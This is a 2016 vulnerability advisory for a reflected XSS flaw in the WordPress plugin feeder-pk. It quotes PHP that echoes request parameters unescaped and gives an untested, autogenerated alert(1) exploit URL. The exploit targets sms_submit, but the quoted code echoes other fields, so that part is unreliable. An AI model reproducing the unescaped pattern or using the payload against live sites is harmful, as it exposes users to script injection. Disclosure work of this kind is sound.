Advisory #: 814
Title: Reflected XSS in wordpress plugin feeder-pk v1.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/feeder-pk
Downloads: 1403
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: feeder-pk
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./feeder-pk/options.php: 20: <td><input class='feeder' type="text" name="sms_from_name" value="<? if (!isset($_REQUEST['sms_submit'])){ echo $sms_name;} else { echo $_REQUEST['sms_from_name'];} ?>" size="40" /></td> 25: <td><input class='feeder' type="text" name="sms_secret" value="<? if (!isset($_REQUEST['sms_submit'])){ echo $sms_secret;} else { echo $_REQUEST['sms_secret'];} ?>" size="40" /></td> 30: <td><input class='feeder' type="text" name="sms_title" value="<? if (!isset($_REQUEST['sms_submit'])){ echo $sms_title;} else { echo $_REQUEST['sms_title'];} ?>" size="40" /></td> 35: <td><input class='feeder' type="text" name="sms_terms" value="<? if (!isset($_REQUEST['sms_submit'])){ echo $sms_terms;} else { echo $_REQUEST['sms_terms'];} ?>" size="40" /></td> The variable sms_submit appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./feeder-pk/options.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/feeder-pk/options.php?sms_submit="><script>alert(1);</script><"